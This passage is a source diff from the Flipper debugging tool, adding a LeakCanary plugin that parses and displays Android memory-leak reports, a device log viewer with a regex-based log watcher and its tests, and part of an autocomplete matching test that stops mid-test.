selectedEid: null,
showFullClassPaths: false,
leaksCount: 0,
};
init() {
this.client.subscribe('reportLeak', (results: LeakReport) => {
// We only process new leaks instead of replacing the whole list in order
// to both avoid redundant processing and to preserve the expanded/
// collapsed state of the tree view
const newLeaks = processLeaks(results.leaks.slice(this.state.leaksCount));
const leaks = this.state.leaks;
for (let i = 0; i < newLeaks.length; i++) {
leaks.push(newLeaks[i]);
}
this.setState({
leaks: leaks,
leaksCount: results.leaks.length,
});
});
}
_clearLeaks = () => {
this.setState({
leaks: [],
leaksCount: 0,
selectedIdx: null,
selectedEid: null,
});
this.client.call('clear');
};
_selectElement = (leakIdx: number, eid: string) => {
this.setState({
selectedIdx: leakIdx,
selectedEid: eid,
});
};
_toggleElement = (leakIdx: number, eid: string) => {
const {leaks} = this.state;
const leak = leaks[leakIdx];
const element = leak.elements[eid];
const elementSimple = leak.elementsSimple[eid];
if (!element || !elementSimple) {
return;
}
element.expanded = !element.expanded;
elementSimple.expanded = !elementSimple.expanded;
this.setState({
leaks: leaks,
});
};
/**
* Given a specific string value, determines what DataInspector type to treat
* it as. Ensures that numbers, bools, etc render correctly.
*/
_extractValue(
value: any,
_: number, // depth
): {mutable: boolean; type: string; value: any} {
if (!isNaN(value)) {
return {mutable: false, type: 'number', value: value};
} else if (value == 'true' || value == 'false') {
return {mutable: false, type: 'boolean', value: value};
} else if (value == 'null') {
return {mutable: false, type: 'null', value: value};
}
return {mutable: false, type: 'enum', value: value};
}
renderSidebar() {
const {selectedIdx, selectedEid, leaks} = this.state;
if (selectedIdx == null || selectedEid == null) {
return null;
}
const leak = leaks[selectedIdx];
const staticFields = leak.staticFields[selectedEid];
const instanceFields = leak.instanceFields[selectedEid];
return (
<Sidebar position="right" width={600} minWidth={300} maxWidth={900}>
<Panel heading={'Instance'} floating={false} grow={false}>
<ManagedDataInspector
data={instanceFields}
expandRoot={true}
extractValue={this._extractValue}
/>
</Panel>
<Panel heading={'Static'} floating={false} grow={false}>
<ManagedDataInspector
data={staticFields}
expandRoot={true}
extractValue={this._extractValue}
/>
</Panel>
</Sidebar>
);
}
render() {
const {selectedIdx, selectedEid, showFullClassPaths} = this.state;
const sidebar = this.renderSidebar();
return (
<Window>
<FlexColumn grow={true}>
<FlexColumn grow={true} scrollable={true}>
{this.state.leaks.map((leak: Leak, idx: number) => {
const elements = showFullClassPaths
? leak.elements
: leak.elementsSimple;
const selected = selectedIdx == idx ? selectedEid : null;
return (
<Panel
collapsable={false}
padded={false}
heading={leak.title}
floating={false}
accessory={leak.retainedSize}>
<ElementsInspector
onElementSelected={eid => {
this._selectElement(idx, eid);
}}
onElementHovered={() => {}}
onElementExpanded={(eid /*, deep*/) => {
this._toggleElement(idx, eid);
}}
onValueChanged={() => {}}
selected={selected}
searchResults={null}
root={leak.root}
elements={elements}
/>
</Panel>
);
})}
</FlexColumn>
<Toolbar>
<ToolbarItem>
<Button onClick={this._clearLeaks}>Clear</Button>
</ToolbarItem>
<ToolbarItem>
<Checkbox
checked={showFullClassPaths}
onChange={(checked: boolean) => {
this.setState({showFullClassPaths: checked});
}}
/>
Show full class path
</ToolbarItem>
</Toolbar>
</FlexColumn>
{sidebar}
</Window>
);
}
}

View File

@@ -0,0 +1,16 @@
{
"name": "LeakCanary",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"keywords": [
"flipper-plugin"
],
"dependencies": {},
"devDependencies": {},
"icon": "bird",
"title": "LeakCanary",
"bugs": {
"email": "jhli@fb.com"
}
}

View File

@@ -0,0 +1,263 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
* @flow
*/
import {Leak} from './index';
import {Element} from 'flipper';
/**
* Utility Function to add a child element
* @param childElementId
* @param elementId
* @param elements
*/
function safeAddChildElementId(
childElementId: string,
elementId: string,
elements: Map<string, Element>,
) {
const element = elements.get(elementId);
if (element && element.children) {
element.children.push(childElementId);
}
}
function toObjectMap(
dict: Map<any, any>,
deep: boolean = false,
): {[key: string]: any} {
const result: {[key: string]: any} = {};
for (let [key, value] of dict.entries()) {
if (deep && value instanceof Map) {
value = toObjectMap(value, true);
}
result[String(key)] = value;
}
return result;
}
/**
* Creates an Element (for ElementsInspector) representing a single Object in
* the path to GC root view.
*/
function getElementSimple(str: string, id: string): Element {
// Below regex can handle both older and newer versions of LeakCanary
const match = str.match(
/\* (GC ROOT )?(\u21B3 )?([a-z]* )?([^A-Z]*.)?([A-Z].*)/,
);
let name = 'N/A';
if (match) {
name = match[5];
}
return {
id,
name,
expanded: true,
children: [],
attributes: [],
data: {},
decoration: '',
extraInfo: {},
};
}
// Line marking the start of Details section
const BEGIN_DETAILS_SECTION_INDICATOR = '* Details:';
// Line following the end of the Details section
const END_DETAILS_SECTION_INDICATOR = '* Excluded Refs:';
const STATIC_PREFIX = 'static ';
// Text that begins the line of the Object at GC root
const LEAK_BEGIN_INDICATOR = 'has leaked:';
const RETAINED_SIZE_INDICATOR = '* Retaining: ';
/**
* Parses the lines given (at the given index) to extract information about both
* static and instance fields of each class in the path to GC root. Returns three
* objects, each one mapping the element ID of a specific element to the
* corresponding static fields, instance fields, or package name of the class
*/
function generateFieldsList(
lines: string[],
i: number,
): {
staticFields: Map<string, Map<string, string>>;
instanceFields: Map<string, Map<string, string>>;
packages: Map<string, string>;
} {
const staticFields = new Map<string, Map<string, string>>();
const instanceFields = new Map<string, Map<string, string>>();
let staticValues = new Map<string, string>();
let instanceValues = new Map<string, string>();
let elementId = -1;
let elementIdStr = '';
const packages = new Map<string, any>();
// Process everything between Details and Excluded Refs
while (
i < lines.length &&
!lines[i].startsWith(END_DETAILS_SECTION_INDICATOR)
) {
const line = lines[i];
if (line.startsWith('*')) {
if (elementId != -1) {
staticFields.set(elementIdStr, staticValues);
instanceFields.set(elementIdStr, instanceValues);
staticValues = new Map<string, string>();
instanceValues = new Map<string, string>();
}
elementId++;
elementIdStr = String(elementId);
// Extract package for each class
let pkg = 'unknown';
const match = line.match(/\* (.*)(of|Class) (.*)/);
if (match) {
pkg = match[3];
}
packages.set(elementIdStr, pkg);
} else {
// Field/value pairs represented in input lines as
// | fieldName = value
const match = line.match(/\|\s+(.*) = (.*)/);
if (match) {
const fieldName = match[1];
const fieldValue = match[2];
if (fieldName.startsWith(STATIC_PREFIX)) {
const strippedFieldName = fieldName.substr(7);
staticValues.set(strippedFieldName, fieldValue);
} else {
instanceValues.set(fieldName, fieldValue);
}
}
}
i++;
}
staticFields.set(elementIdStr, staticValues);
instanceFields.set(elementIdStr, instanceValues);
return {staticFields, instanceFields, packages};
}
/**
* Processes a LeakCanary string containing data from a single leak. If the
* string represents a valid leak, the function appends parsed data to the given
* output list. If not, the list is returned as-is. This parsed data contains
* the path to GC root, static/instance fields for each Object in the path, the
* leak's retained size, and a title for the leak.
*/
function processLeak(output: Leak[], leakInfo: string): Leak[] {
const lines = leakInfo.split('\n');
// Elements shows a Object's classname and package, wheras elementsSimple shows
// just its classname
const elements = new Map<string, Element>();
const elementsSimple = new Map<string, Element>();
let rootElementId = '';
let i = 0;
while (i < lines.length && !lines[i].endsWith(LEAK_BEGIN_INDICATOR)) {
i++;
}
i++;
if (i >= lines.length) {
return output;
}
let elementId = 0;
let elementIdStr = String(elementId);
// Last element is leaked object
let leakedObjName = '';
while (i < lines.length && lines[i].startsWith('*')) {
const line = lines[i];
const prevElementIdStr = String(elementId - 1);
if (elementId !== 0) {
// Add element to previous element's children
safeAddChildElementId(elementIdStr, prevElementIdStr, elements);
safeAddChildElementId(elementIdStr, prevElementIdStr, elementsSimple);
} else {
rootElementId = elementIdStr;
}
const element = getElementSimple(line, elementIdStr);
leakedObjName = element.name;
elements.set(elementIdStr, element);
elementsSimple.set(elementIdStr, element);
i++;
elementId++;
elementIdStr = String(elementId);
}
while (
i < lines.length &&
!lines[i].startsWith(RETAINED_SIZE_INDICATOR) &&
!lines[i].startsWith(BEGIN_DETAILS_SECTION_INDICATOR)
) {
i++;
}
let retainedSize = 'unknown size';
if (lines[i].startsWith(RETAINED_SIZE_INDICATOR)) {
const match = lines[i].match(/\* Retaining: (.*)./);
if (match) {
retainedSize = match[1];
}
}
while (
i < lines.length &&
!lines[i].startsWith(BEGIN_DETAILS_SECTION_INDICATOR)
) {
i++;
}
i++;
// Parse information on each object's fields, package
const {staticFields, instanceFields, packages} = generateFieldsList(lines, i);
// While elementsSimple remains as-is, elements has the package of each class
// inserted, in order to enable 'Show full class path'
for (const [elementId, pkg] of packages.entries()) {
const element = elements.get(elementId);
if (!element) {
continue;
}
// Gets everything before the field name, which is replaced by the package
const match = element.name.match(/([^\. ]*)(.*)/);
if (match && match.length === 3) {
element.name = pkg + match[2];
}
}
output.push({
title: leakedObjName,
root: rootElementId,
elements: toObjectMap(elements),
elementsSimple: toObjectMap(elementsSimple),
staticFields: toObjectMap(staticFields, true),
instanceFields: toObjectMap(instanceFields, true),
retainedSize: retainedSize,
});
return output;
}
/**
* Processes a set of LeakCanary strings, ignoring non-leaks - see processLeak above.
*/
export function processLeaks(leakInfos: string[]): Leak[] {
const newLeaks = leakInfos.reduce(processLeak, []);
return newLeaks;
}

View File

@@ -0,0 +1,4 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1

View File

@@ -0,0 +1,228 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {TableBodyRow} from 'flipper';
import {
PureComponent,
FlexColumn,
Panel,
Input,
Toolbar,
Text,
ManagedTable,
Button,
colors,
styled,
} from 'flipper';
import React from 'react';
export type Counter = {
readonly expression: RegExp;
readonly count: number;
readonly notify: boolean;
readonly label: string;
};
type Props = {
readonly onChange: (counters: ReadonlyArray<Counter>) => void;
readonly counters: ReadonlyArray<Counter>;
};
type State = {
readonly input: string;
readonly highlightedRow: string | null;
};
const ColumnSizes = {
expression: '70%',
count: '15%',
notify: 'flex',
};
const Columns = {
expression: {
value: 'Expression',
resizable: false,
},
count: {
value: 'Count',
resizable: false,
},
notify: {
value: 'Notify',
resizable: false,
},
};
const Count = styled(Text)({
alignSelf: 'center',
background: colors.macOSHighlightActive,
color: colors.white,
fontSize: 12,
fontWeight: 500,
textAlign: 'center',
borderRadius: '999em',
padding: '4px 9px 3px',
lineHeight: '100%',
marginLeft: 'auto',
});
const Checkbox = styled(Input)({
lineHeight: '100%',
padding: 0,
margin: 0,
height: 'auto',
alignSelf: 'center',
});
const ExpressionInput = styled(Input)({
flexGrow: 1,
});
const WatcherPanel = styled(Panel)({
minHeight: 200,
});
export default class LogWatcher extends PureComponent<Props, State> {
state = {
input: '',
highlightedRow: null,
};
_inputRef: HTMLInputElement | undefined;
onAdd = () => {
if (
this.props.counters.findIndex(({label}) => label === this.state.input) >
-1 ||
this.state.input.length === 0
) {
// prevent duplicates
return;
}
this.props.onChange([
...this.props.counters,
{
label: this.state.input,
expression: new RegExp(this.state.input, 'gi'),
notify: false,
count: 0,
},
]);
this.setState({input: ''});
};
onChange = (e: React.ChangeEvent<HTMLInputElement>) => {
this.setState({
input: e.target.value,
});
};
resetCount = (index: number) => {
const newCounters = [...this.props.counters];
newCounters[index] = {
...newCounters[index],
count: 0,
};
this.props.onChange(newCounters);
};
buildRows = (): Array<TableBodyRow> => {
return this.props.counters.map(({label, count, notify}, i) => ({
columns: {
expression: {
value: <Text code={true}>{label}</Text>,
},
count: {
value: <Count onClick={() => this.resetCount(i)}>{count}</Count>,
},
notify: {
value: (
<Checkbox
type="checkbox"
checked={notify}
onChange={() => this.setNotification(i, !notify)}
/>
),
},
},
key: label,
}));
};
setNotification = (index: number, notify: boolean) => {
const newCounters: Array<Counter> = [...this.props.counters];
newCounters[index] = {
...newCounters[index],
notify,
};
this.props.onChange(newCounters);
};
onRowHighlighted = (rows: Array<string>) => {
this.setState({
highlightedRow: rows.length === 1 ? rows[0] : null,
});
};
onKeyDown = (e: React.KeyboardEvent) => {
if (
(e.key === 'Delete' || e.key === 'Backspace') &&
this.state.highlightedRow != null
) {
this.props.onChange(
this.props.counters.filter(
({label}) => label !== this.state.highlightedRow,
),
);
}
};
onSubmit = (e: React.KeyboardEvent) => {
if (e.key === 'Enter') {
this.onAdd();
}
};
render() {
return (
<FlexColumn grow={true} tabIndex={-1} onKeyDown={this.onKeyDown}>
<WatcherPanel
heading="Expression Watcher"
floating={false}
collapsable={true}
padded={false}>
<Toolbar>
<ExpressionInput
value={this.state.input}
placeholder="Expression..."
onChange={this.onChange}
onKeyDown={this.onSubmit}
/>
<Button
onClick={this.onAdd}
disabled={this.state.input.length === 0}>
Add counter
</Button>
</Toolbar>
<ManagedTable
onRowHighlighted={this.onRowHighlighted}
columnSizes={ColumnSizes}
columns={Columns}
rows={this.buildRows()}
autoHeight={true}
floating={false}
zebra={false}
/>
</WatcherPanel>
</FlexColumn>
);
}
}

View File

@@ -0,0 +1,60 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {addEntriesToState, processEntry} from '../index.tsx';
const entry = {
tag: 'OpenGLRenderer',
pid: 18384,
tid: 18409,
message: 'Swap behavior 1',
date: new Date('Feb 28 2013 19:00:00 EST'),
type: 'debug',
};
test('processEntry', () => {
const key = 'key';
const processedEntry = processEntry(entry, key);
expect(processedEntry.entry).toEqual(entry);
expect(processedEntry.row.key).toBe(key);
expect(typeof processedEntry.row.height).toBe('number');
});
test('addEntriesToState without current state', () => {
const processedEntry = processEntry(entry, 'key');
const newState = addEntriesToState([processedEntry]);
expect(newState.rows.length).toBe(1);
expect(newState.entries.length).toBe(1);
expect(newState.entries[0]).toEqual(processedEntry);
});
test('addEntriesToState with current state', () => {
const currentState = addEntriesToState([processEntry(entry, 'key1')]);
const processedEntry = processEntry(
{
...entry,
message: 'new message',
},
'key2',
);
const newState = addEntriesToState([processedEntry], currentState);
expect(newState.rows.length).toBe(2);
expect(newState.entries.length).toBe(2);
});
test('addEntriesToState increase counter on duplicate message', () => {
const currentState = addEntriesToState([processEntry(entry, 'key1')]);
const processedEntry = processEntry(entry, 'key2');
const newState = addEntriesToState([processedEntry], currentState);
expect(newState.rows.length).toBe(1);
expect(newState.entries.length).toBe(2);
expect(newState.rows[0].columns.type.value.props.children).toBe(2);
});

View File

@@ -0,0 +1,667 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
TableBodyRow,
TableColumnOrder,
TableColumnSizes,
TableColumns,
Props as PluginProps,
BaseAction,
DeviceLogEntry,
} from 'flipper';
import {Counter} from './LogWatcher';
import {
Text,
ManagedTableClass,
Button,
colors,
ContextMenu,
FlexColumn,
Glyph,
DetailSidebar,
FlipperDevicePlugin,
SearchableTable,
styled,
Device,
createPaste,
textContent,
KeyboardActions,
} from 'flipper';
import LogWatcher from './LogWatcher';
import React from 'react';
import {MenuTemplate} from 'src/ui/components/ContextMenu';
const LOG_WATCHER_LOCAL_STORAGE_KEY = 'LOG_WATCHER_LOCAL_STORAGE_KEY';
type Entries = ReadonlyArray<{
readonly row: TableBodyRow;
readonly entry: DeviceLogEntry;
}>;
type BaseState = {
readonly rows: ReadonlyArray<TableBodyRow>;
readonly entries: Entries;
readonly key2entry: {readonly [key: string]: DeviceLogEntry};
};
type AdditionalState = {
readonly highlightedRows: ReadonlySet<string>;
readonly counters: ReadonlyArray<Counter>;
};
type State = BaseState & AdditionalState;
type PersistedState = {};
const Icon = styled(Glyph)({
marginTop: 5,
});
function getLineCount(str: string): number {
let count = 1;
if (!(typeof str === 'string')) {
return 0;
}
for (let i = 0; i < str.length; i++) {
if (str[i] === '\n') {
count++;
}
}
return count;
}
function keepKeys<A>(obj: A, keys: Array<string>): A {
const result: A = {} as A;
for (const key in obj) {
if (keys.includes(key)) {
result[key] = obj[key];
}
}
return result;
}
const COLUMN_SIZE = {
type: 40,
time: 120,
pid: 60,
tid: 60,
tag: 120,
app: 200,
message: 'flex',
} as const;
const COLUMNS = {
type: {
value: '',
},
time: {
value: 'Time',
},
pid: {
value: 'PID',
},
tid: {
value: 'TID',
},
tag: {
value: 'Tag',
},
app: {
value: 'App',
},
message: {
value: 'Message',
},
} as const;
const INITIAL_COLUMN_ORDER = [
{
key: 'type',
visible: true,
},
{
key: 'time',
visible: true,
},
{
key: 'pid',
visible: false,
},
{
key: 'tid',
visible: false,
},
{
key: 'tag',
visible: true,
},
{
key: 'app',
visible: true,
},
{
key: 'message',
visible: true,
},
] as const;
const LOG_TYPES: {
[level: string]: {
label: string;
color: string;
icon?: React.ReactNode;
style?: Object;
};
} = {
verbose: {
label: 'Verbose',
color: colors.purple,
},
debug: {
label: 'Debug',
color: colors.grey,
},
info: {
label: 'Info',
icon: <Icon name="info-circle" color={colors.cyan} />,
color: colors.cyan,
},
warn: {
label: 'Warn',
style: {
backgroundColor: colors.yellowTint,
color: colors.yellow,
fontWeight: 500,
},
icon: <Icon name="caution-triangle" color={colors.yellow} />,
color: colors.yellow,
},
error: {
label: 'Error',
style: {
backgroundColor: colors.redTint,
color: colors.red,
fontWeight: 500,
},
icon: <Icon name="caution-octagon" color={colors.red} />,
color: colors.red,
},
fatal: {
label: 'Fatal',
style: {
backgroundColor: colors.redTint,
color: colors.red,
fontWeight: 700,
},
icon: <Icon name="stop" color={colors.red} />,
color: colors.red,
},
};
const DEFAULT_FILTERS = [
{
type: 'enum',
enum: Object.keys(LOG_TYPES).map(value => ({
label: LOG_TYPES[value].label,
value,
})),
key: 'type',
value: [],
persistent: true,
},
];
const HiddenScrollText = styled(Text)({
alignSelf: 'baseline',
userSelect: 'none',
lineHeight: '130%',
marginTop: 5,
paddingBottom: 3,
'&::-webkit-scrollbar': {
display: 'none',
},
});
const LogCount = styled.div<{backgroundColor: string}>(({backgroundColor}) => ({
backgroundColor,
borderRadius: '999em',
fontSize: 11,
marginTop: 4,
minWidth: 16,
height: 16,
color: colors.white,
textAlign: 'center',
lineHeight: '16px',
paddingLeft: 4,
paddingRight: 4,
textOverflow: 'ellipsis',
overflow: 'hidden',
whiteSpace: 'nowrap',
}));
function pad(chunk: any, len: number): string {
let str = String(chunk);
while (str.length < len) {
str = `0${str}`;
}
return str;
}
export function addEntriesToState(
items: Entries,
state: BaseState = {
rows: [],
entries: [],
key2entry: {},
} as const,
): BaseState {
const rows = [...state.rows];
const entries = [...state.entries];
const key2entry = {...state.key2entry};
for (let i = 0; i < items.length; i++) {
const {entry, row} = items[i];
entries.push({row, entry});
key2entry[row.key] = entry;
let previousEntry: DeviceLogEntry | null = null;
if (i > 0) {
previousEntry = items[i - 1].entry;
} else if (state.rows.length > 0 && state.entries.length > 0) {
previousEntry = state.entries[state.entries.length - 1].entry;
}
addRowIfNeeded(rows, row, entry, previousEntry);
}
return {
entries,
rows,
key2entry,
};
}
export function addRowIfNeeded(
rows: Array<TableBodyRow>,
row: TableBodyRow,
entry: DeviceLogEntry,
previousEntry: DeviceLogEntry | null,
) {
const previousRow = rows.length > 0 ? rows[rows.length - 1] : null;
if (
previousRow &&
previousEntry &&
entry.message === previousEntry.message &&
entry.tag === previousEntry.tag &&
previousRow.type != null
) {
// duplicate log, increase counter
const count =
previousRow.columns.type.value &&
previousRow.columns.type.value.props &&
typeof previousRow.columns.type.value.props.children === 'number'
? previousRow.columns.type.value.props.children + 1
: 2;
const type = LOG_TYPES[previousRow.type] || LOG_TYPES.debug;
previousRow.columns.type.value = (
<LogCount backgroundColor={type.color}>{count}</LogCount>
);
} else {
rows.push(row);
}
}
export function processEntry(
entry: DeviceLogEntry,
key: string,
): {
row: TableBodyRow;
entry: DeviceLogEntry;
} {
const {icon, style} = LOG_TYPES[entry.type] || LOG_TYPES.debug;
// build the item, it will either be batched or added straight away
return {
entry,
row: {
columns: {
type: {
value: icon,
align: 'center',
},
time: {
value: (
<HiddenScrollText code={true}>
{entry.date.toTimeString().split(' ')[0] +
'.' +
pad(entry.date.getMilliseconds(), 3)}
</HiddenScrollText>
),
},
message: {
value: (
<HiddenScrollText code={true}>{entry.message}</HiddenScrollText>
),
},
tag: {
value: <HiddenScrollText code={true}>{entry.tag}</HiddenScrollText>,
isFilterable: true,
},
pid: {
value: (
<HiddenScrollText code={true}>{String(entry.pid)}</HiddenScrollText>
),
isFilterable: true,
},
tid: {
value: (
<HiddenScrollText code={true}>{String(entry.tid)}</HiddenScrollText>
),
isFilterable: true,
},
app: {
value: <HiddenScrollText code={true}>{entry.app}</HiddenScrollText>,
isFilterable: true,
},
},
height: getLineCount(entry.message) * 15 + 10, // 15px per line height + 8px padding
style,
type: entry.type,
filterValue: entry.message,
key,
},
};
}
export default class LogTable extends FlipperDevicePlugin<
State,
BaseAction,
PersistedState
> {
static keyboardActions: KeyboardActions = [
'clear',
'goToBottom',
'createPaste',
];
batchTimer: NodeJS.Timeout | undefined;
static supportsDevice(device: Device) {
return (
device.os === 'iOS' || device.os === 'Android' || device.os === 'Metro'
);
}
onKeyboardAction = (action: string) => {
if (action === 'clear') {
this.clearLogs();
} else if (action === 'goToBottom') {
this.goToBottom();
} else if (action === 'createPaste') {
this.createPaste();
}
};
restoreSavedCounters = (): Array<Counter> => {
const savedCounters =
window.localStorage.getItem(LOG_WATCHER_LOCAL_STORAGE_KEY) || '[]';
return JSON.parse(savedCounters).map((counter: Counter) => ({
...counter,
expression: new RegExp(counter.label, 'gi'),
count: 0,
}));
};
calculateHighlightedRows = (
deepLinkPayload: string | null,
rows: ReadonlyArray<TableBodyRow>,
): Set<string> => {
const highlightedRows = new Set<string>();
if (!deepLinkPayload) {
return highlightedRows;
}
// Run through array from last to first, because we want to show the last
// time it the log we are looking for appeared.
for (let i = rows.length - 1; i >= 0; i--) {
const filterValue = rows[i].filterValue;
if (filterValue != null && filterValue.includes(deepLinkPayload)) {
highlightedRows.add(rows[i].key);
break;
}
}
if (highlightedRows.size <= 0) {
// Check if the individual lines in the deeplinkPayload is matched or not.
const arr = deepLinkPayload.split('\n');
for (const msg of arr) {
for (let i = rows.length - 1; i >= 0; i--) {
const filterValue = rows[i].filterValue;
if (filterValue != null && filterValue.includes(msg)) {
highlightedRows.add(rows[i].key);
break;
}
}
}
}
return highlightedRows;
};
tableRef: ManagedTableClass | undefined;
columns: TableColumns;
columnSizes: TableColumnSizes;
columnOrder: TableColumnOrder;
logListener: Symbol | undefined;
batch: Array<{
readonly row: TableBodyRow;
readonly entry: DeviceLogEntry;
}> = [];
queued: boolean = false;
counter: number = 0;
constructor(props: PluginProps<PersistedState>) {
super(props);
const supportedColumns = this.device.supportedColumns();
this.columns = keepKeys(COLUMNS, supportedColumns);
this.columnSizes = keepKeys(COLUMN_SIZE, supportedColumns);
this.columnOrder = INITIAL_COLUMN_ORDER.filter(obj =>
supportedColumns.includes(obj.key),
);
const initialState = addEntriesToState(
this.device
.getLogs()
.map(log => processEntry(log, String(this.counter++))),
this.state,
);
this.state = {
...initialState,
highlightedRows: this.calculateHighlightedRows(
props.deepLinkPayload,
initialState.rows,
),
counters: this.restoreSavedCounters(),
};
this.logListener = this.device.addLogListener((entry: DeviceLogEntry) => {
const processedEntry = processEntry(entry, String(this.counter++));
this.incrementCounterIfNeeded(processedEntry.entry);
this.scheduleEntryForBatch(processedEntry);
});
}
incrementCounterIfNeeded = (entry: DeviceLogEntry) => {
let counterUpdated = false;
const counters = this.state.counters.map(counter => {
if (entry.message.match(counter.expression)) {
counterUpdated = true;
if (counter.notify) {
new Notification(`${counter.label}`, {
body: 'The watched log message appeared',
});
}
return {
...counter,
count: counter.count + 1,
};
} else {
return counter;
}
});
if (counterUpdated) {
this.setState({counters});
}
};
scheduleEntryForBatch = (item: {
row: TableBodyRow;
entry: DeviceLogEntry;
}) => {
// batch up logs to be processed every 250ms, if we have lots of log
// messages coming in, then calling an setState 200+ times is actually
// pretty expensive
this.batch.push(item);
if (!this.queued) {
this.queued = true;
this.batchTimer = setTimeout(() => {
const thisBatch = this.batch;
this.batch = [];
this.queued = false;
this.setState(state => addEntriesToState(thisBatch, state));
}, 100);
}
};
componentWillUnmount() {
if (this.batchTimer) {
clearTimeout(this.batchTimer);
}
if (this.logListener) {
this.device.removeLogListener(this.logListener);
}
}
clearLogs = () => {
this.device.clearLogs().catch(e => {
console.error('Failed to clear logs: ', e);
});
this.setState({
entries: [],
rows: [],
highlightedRows: new Set(),
key2entry: {},
counters: this.state.counters.map(counter => ({
...counter,
count: 0,
})),
});
};
createPaste = () => {
let paste = '';
const mapFn = (row: TableBodyRow) =>
Object.keys(COLUMNS)
.map(key => textContent(row.columns[key].value))
.join('\t');
if (this.state.highlightedRows.size > 0) {
// create paste from selection
paste = this.state.rows
.filter(row => this.state.highlightedRows.has(row.key))
.map(mapFn)
.join('\n');
} else {
// create paste with all rows
paste = this.state.rows.map(mapFn).join('\n');
}
createPaste(paste);
};
setTableRef = (ref: ManagedTableClass) => {
this.tableRef = ref;
};
goToBottom = () => {
if (this.tableRef != null) {
this.tableRef.scrollToBottom();
}
};
onRowHighlighted = (highlightedRows: Array<string>) => {
this.setState({
...this.state,
highlightedRows: new Set(highlightedRows),
});
};
renderSidebar = () => {
return (
<LogWatcher
counters={this.state.counters}
onChange={counters =>
this.setState({counters}, () =>
window.localStorage.setItem(
LOG_WATCHER_LOCAL_STORAGE_KEY,
JSON.stringify(this.state.counters),
),
)
}
/>
);
};
static ContextMenu = styled(ContextMenu)({
flex: 1,
});
buildContextMenuItems: () => MenuTemplate = () => [
{
type: 'separator',
},
{
label: 'Clear all',
click: this.clearLogs,
},
];
render() {
return (
<LogTable.ContextMenu
buildItems={this.buildContextMenuItems}
component={FlexColumn}>
<SearchableTable
innerRef={this.setTableRef}
floating={false}
multiline={true}
columnSizes={this.columnSizes}
columnOrder={this.columnOrder}
columns={this.columns}
rows={this.state.rows}
highlightedRows={this.state.highlightedRows}
onRowHighlighted={this.onRowHighlighted}
multiHighlight={true}
defaultFilters={DEFAULT_FILTERS}
zebra={false}
actions={<Button onClick={this.clearLogs}>Clear Logs</Button>}
allowRegexSearch={true}
// If the logs is opened through deeplink, then don't scroll as the row is highlighted
stickyBottom={
!(this.props.deepLinkPayload && this.state.highlightedRows.size > 0)
}
/>
<DetailSidebar>{this.renderSidebar()}</DetailSidebar>
</LogTable.ContextMenu>
);
}
}

View File

@@ -0,0 +1,14 @@
{
"name": "DeviceLogs",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"keywords": ["flipper-plugin"],
"dependencies": {},
"title": "Logs",
"icon": "arrow-right",
"bugs": {
"email": "oncall+flipper@xmail.facebook.com",
"url": "https://fb.workplace.com/groups/flippersupport/"
}
}

View File

@@ -0,0 +1,4 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1

View File

@@ -0,0 +1,111 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
* @flow strict-local
*/
import {filterMatchPatterns} from '../util/autoCompleteProvider';
import {URI} from '../types';
// choose all k length combinations from array
const stringCombination = (patterns: Array<string>, k: number) => {
const n = patterns.length;
const returnArr: Array<string> = new Array(0);
const args = new Array(k).fill(0).map((_, idx) => idx);
(function build(args) {
const pattern = args.map(i => patterns[i]).join('');
returnArr.push(pattern);
if (args[args.length - 1] < n - 1) {
for (let i = args.length - 1; i >= 0; i--) {
const newArgs = args.map((value, idx) =>
idx >= i ? value + 1 : value,
);
build(newArgs);
}
}
})(args);
return returnArr;
};
// Create a map of 364 pairs
const constructMatchPatterns: () => Map<string, URI> = () => {
const matchPatterns = new Map<string, URI>();
const NUM_PATERNS_PER_ENTRY = 3;
const patterns = [
'abcdefghijklmnopqrstuvwxy',
'ababababababababababababa',
'cdcdcdcdcdcdcdcdcdcdcdcdc',
'efefefefefefefefefefefefe',
'ghghghghghghghghghghghghg',
'ijijijijijijijijijijijiji',
'klklklklklklklklklklklklk',
'mnmnmnmnmnmnmnmnmnmnmnmnm',
'opopopopopopopopopopopopo',
'qrqrqrqrqrqrqrqrqrqrqrqrq',
'ststststststststststststs',
'uvuvuvuvuvuvuvuvuvuvuvuvu',
'wxwxwxwxwxwxwxwxwxwxwxwxw',
'yzyzyzyzyzyzyzyzyzyzyzyzy',
];
stringCombination(patterns, NUM_PATERNS_PER_ENTRY).forEach(pattern =>
matchPatterns.set(pattern, pattern),
);
return matchPatterns;
};
test('construct match patterns', () => {
const matchPatterns = constructMatchPatterns();
expect(matchPatterns.size).toBe(364);
});
test('search for abcdefghijklmnopqrstuvwxy in matchPatterns', () => {
const matchPatterns = constructMatchPatterns();
const filteredMatchPatterns = filterMatchPatterns(
matchPatterns,
'abcdefghijklmnopqrstuvwxy',
Infinity,
);
// Fixing abcdefghijklmnopqrstuvwxy, we have 13C2 = 78 patterns that will match
expect(filteredMatchPatterns.size).toBe(78);
});
test('search for ????? in matchPatterns', () => {
const matchPatterns = constructMatchPatterns();
const filteredMatchPatterns = filterMatchPatterns(
matchPatterns,
'?????',
Infinity,
);
// ????? Does not exist in our seach so should return 0
expect(filteredMatchPatterns.size).toBe(0);
});
test('search for abcdefghijklmnopqrstuvwxyababababababababababababacdcdcdcdcdcdcdcdcdcdcdcdc in matchPatterns', () => {
const matchPatterns = constructMatchPatterns();
const filteredMatchPatterns = filterMatchPatterns(
matchPatterns,
'abcdefghijklmnopqrstuvwxyababababababababababababacdcdcdcdcdcdcdcdcdcdcdcdc',
Infinity,
);
// Should only appear once in our patterns
